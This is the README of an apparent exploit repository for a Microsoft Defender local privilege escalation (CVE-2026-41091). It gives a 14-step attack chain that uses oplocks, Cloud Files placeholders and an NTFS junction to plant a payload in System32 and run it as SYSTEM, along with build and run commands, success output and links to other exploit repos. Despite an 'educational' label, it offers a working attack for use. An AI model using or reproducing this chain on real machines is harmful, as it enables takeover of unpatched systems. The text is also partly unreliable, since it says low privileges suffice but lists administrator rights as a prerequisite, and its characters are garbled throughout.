
CVE-2026-41091-PoC-Exploit Full-PoCv2
CVE-2026-41091 RedSun | Exploit de LPE de Microsoft Defender. Los usuarios con bajos privilegios obtienen NT AUTHORITY\SYSTEM π₯ mediante la API de Cloud Files + artimaΓ±as con junctions NTFS. Fuerza a Defender a escribir payloads maliciosos en System32 con derechos de SYSTEM. β οΈ Explotado activamente en la naturaleza. CVSS 7.8. Parche: Motor de Defender 1.1.26040.8. π‘οΈ Solo PoC educativo.

βοΈ CVE-2026-41091 - RedSun (SolarFlare) - Exploit de elevaciΓ³n de privilegios locales de Microsoft Defender
Vulnerabilidad de seguimiento de enlaces en Microsoft Defender - Escalada de privilegios locales a NT AUTHORITY\SYSTEM
La vulnerabilidad se conoce como "RedSun" π―, "SolarFlare" es el nombre que le di a mi exploit. β
π DescripciΓ³n general
Este repositorio contiene un exploit de prueba de concepto (PoC) totalmente funcional para CVE-2026-41091, una vulnerabilidad crΓtica de escalada de privilegios locales en Microsoft Defender (Microsoft Malware Protection Engine). Al explotar una resoluciΓ³n de enlaces incorrecta (CWE-59), un atacante autenticado con bajos privilegios puede obtener privilegios de NT AUTHORITY\SYSTEM.
La vulnerabilidad, tambiΓ©n conocida como "RedSun" o "SolarFlare", permite a los atacantes engaΓ±ar a Microsoft Defender para que escriba archivos arbitrarios en ubicaciones protegidas del sistema con privilegios SYSTEM mediante Cloud Files API (CfAPI) y puntos de uniΓ³n NTFS.
Nota: Este repositorio incluye dos versiones:
basic_poc.cpp- DemostraciΓ³n simplificada del algoritmo (educativa)full_poc.cpp- Exploit completo funcional con todas las caracterΓsticas
π₯ CaracterΓsticas principales
| CategorΓa | CaracterΓsticas |
|---|---|
| ExplotaciΓ³n | β
Escalada de privilegios locales a SYSTEM β IntegraciΓ³n con Cloud Files API (CfAPI) β CreaciΓ³n de marcadores de posiciΓ³n en la nube β RedirecciΓ³n de puntos de uniΓ³n NTFS |
| TΓ©cnicas | β
Abuso de oplocks por lotes β DetecciΓ³n de instantΓ‘neas VSS β Disparo de EICAR β ActivaciΓ³n del servicio COM |
| Objetivo | β
Microsoft Defender < 1.1.26040.8 β Windows 10/11 β Windows Server 2019/2022 |
| Usabilidad | β
Registro detallado β Manejo de errores β Nombres de directorio aleatorios β Limpieza automΓ‘tica |
π― Detalles de la vulnerabilidad
| Atributo | Valor |
|---|---|
| CVE ID | CVE-2026-41091 |
| PuntuaciΓ³n CVSS | 7.8 (Alta) |
| Vector CVSS | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vector de ataque | Local |
| Privilegios requeridos | Bajos |
| InteracciΓ³n del usuario | Ninguna |
| Impacto | EjecuciΓ³n de cΓ³digo a nivel de SYSTEM |
| CISA KEV | β SΓ (explotada activamente en el mundo real) |
| Parche disponible | Microsoft Malware Protection Engine 1.1.26040.8 |
π¦ Productos afectados
| Producto | Versiones afectadas | Versiones corregidas |
|---|---|---|
| Microsoft Malware Protection Engine | < 1.1.26040.8 | 1.1.26040.8+ |
| Microsoft Defender Antimalware Platform | < 4.18.26040.7 | 4.18.26040.7+ |
π¬ Cadena de explotaciΓ³n
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β SOLARFLARE EXPLOIT CHAIN β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β 1. Create Working Directory β
β ββ> %TEMP%\SF-XXXX\ β
β β
β 2. Trigger Defender with EICAR β
β ββ> Write reversed EICAR to bait file β
β β
β 3. Wait for VSS Snapshot β
β ββ> Detect Volume Shadow Copy creation β
β β
β 4. Create First Batch Oplock β
β ββ> FSCTL_REQUEST_BATCH_OPLOCK on bait file β
β β
β 5. Wait for Oplock Break β
β ββ> Acquire exclusive access β
β β
β 6. Rename Directory β
β ββ> Move original directory to .tmp β
β β
β 7. Register Cloud Sync Root β
β ββ> CfRegisterSyncRoot with Cloud Files API β
β β
β 8. Create Cloud Placeholder β
β ββ> CfCreatePlaceholders for bait file β
β β
β 9. Create Second Batch Oplock β
β ββ> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder β
β β
β 10. Wait for Second Oplock Break β
β ββ> Acquire exclusive access β
β β
β 11. Rename Cloud Directory β
β ββ> Move cloud directory to .cloud.tmp β
β β
β 12. Create NTFS Junction to System32 β
β ββ> Redirect to C:\Windows\System32 β
β β
β 13. Copy Payload to System32 β
β ββ> Copy bait file to System32 as TieringEngineService.exe β
β β
β 14. Activate Service as SYSTEM β
β ββ> CoCreateInstance(StorageTiersManagement) β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
π¦ InstalaciΓ³n
Requisitos previos
- Windows 10/11 o Windows Server 2019/2022
- Visual Studio 2019/2022 con herramientas de C++
- Privilegios de administrador (para la ejecuciΓ³n)
CompilaciΓ³n
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit
# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
π οΈ Uso
Exploit completo (escalada de privilegios a SYSTEM)
full_poc.exe
DemostraciΓ³n bΓ‘sica del algoritmo
basic_poc.exe
π Ejemplo de salida
Salida del exploit completo
CVE-2026-41091 SolarFlare PoC
===============================
by @tc4dy | CVSS 7.8
===============================
[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM
[+] SYSTEM access obtained!
Salida del PoC bΓ‘sico
CVE-2026-41091 Basic PoC
========================================
Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe
[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.
π§ Instrucciones de compilaciΓ³n
Con Visual Studio
- Abra el SΓmbolo del sistema para desarrolladores de VS 2022
- Navegue hasta el directorio del exploit
- Ejecute:
# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
Con CMake
cmake_minimum_required(VERSION 3.10)
project(SolarFlare)
set(CMAKE_CXX_STANDARD 17)
add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)
add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)
β οΈ Requisitos y limitaciones
| Requisito | Detalles |
|---|---|
| SO | Windows 10/11, Server 2019/2022 |
| Privilegios | Administrador (para la ejecuciΓ³n) |
| Defender | Microsoft Defender debe estar habilitado |
| Internet | Necesario para la detecciΓ³n de instantΓ‘neas VSS |
| Parche | Solo funciona en sistemas sin parchear |
| Arquitectura | Solo x64 |
π Exploits relacionados
Echa un vistazo a mis otros repositorios de exploits:
- CVE-2026-24061-PoC-Exploit - Bypass de autenticaciΓ³n de GNU inetutils-telnetd
- CVE-2026-41940-PoC-Exploit - Exploit de bypass de autenticaciΓ³n de cPanel/WHM
- CVE-2026-0073-PoC-Exploit - Bypass de autenticaciΓ³n de depuraciΓ³n inalΓ‘mbrica ADB de Android